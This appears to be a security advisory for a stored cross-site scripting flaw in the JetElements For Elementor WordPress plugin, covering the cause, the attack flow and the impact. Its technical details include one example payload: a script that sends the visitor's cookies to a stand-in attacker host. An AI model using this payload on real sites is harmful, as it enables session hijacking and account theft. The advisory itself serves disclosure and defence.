Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetElements For Elementor jet-elements allows Stored XSS.This issue affects JetElements For Elementor: from n/a through 2.9.2.3.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.5",
  "pubDate": "2026-10-12T09:16:42.447Z",
  "pubdate": "2026-10-12T09:16:42.447Z",
  "executiveSummary": "The JetElements For Elementor plugin, spanning versions n/a through 2.9.2.3, contains a critical vulnerability classified as Improper Neutralization of Input During Web Page Generation, commonly known as Stored Cross-Site Scripting (XSS).\nThis vulnerability exists because the plugin fails to sufficiently sanitize or validate user-supplied input before rendering it within the administrative or front-end context of the WordPress environment.\nA remote, authenticated attacker with sufficient privileges—such as a contributor or higher—can inject malicious JavaScript payloads into plugin settings or element configurations. When these configurations are loaded by other users or administrators, the malicious script executes within the victim's browser session.\nThe implications of this vulnerability are severe, potentially allowing an attacker to hijack active administrative sessions, steal session cookies, perform unauthorized actions on behalf of the user, or redirect users to malicious external sites.\nBecause the payload is 'stored' within the database, the attack is persistent, meaning every visit to the compromised page triggers the malicious code. The risk is compounded by the widespread use of Elementor-based page builders in enterprise production environments.",
  "technicalDetails": "The vulnerability resides in the JetElements For Elementor plugin, which serves as an add-on for the Elementor page builder. The core issue is the improper handling of user-supplied data during the save and render cycles of various plugin elements.\nSpecifically, the plugin fails to implement adequate output encoding or context-aware sanitization for data transmitted via HTTP POST requests during the update of element widgets. When a user provides malicious scripts within specific widget fields, the plugin saves this payload directly into the WordPress post_meta or options table without stripping dangerous HTML tags or JavaScript event handlers.\nThe attack flow proceeds as follows: First, an attacker with access to the Elementor editor (such as a user with Contributor or Editor roles) accesses a page or template. Second, the attacker inserts a crafted payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a vulnerable widget field. Third, upon saving the page, the server processes the request and persists the malicious payload into the database.\nWhen a victim, such as a site administrator with higher privileges, views the page where the malicious element is rendered, the plugin retrieves the unsanitized payload from the database and inserts it into the document object model (DOM) of the victim's browser. Since the browser treats this content as trusted, the JavaScript executes within the security context of the origin.\nThis Stored XSS attack allows the attacker to execute arbitrary JavaScript in the context of the victim's session. The post-exploitation impact includes the potential for full administrative account takeover through session hijacking, the injection of malicious content into other pages (cross-page defacement), or the automated creation of new administrative user accounts via background AJAX calls to the WordPress API. Because the payload is stored on the server, the attack does not require the victim to click a specialized link; it is triggered automatically upon rendering the affected element, making it highly effective against privileged users who frequently manage site content."
}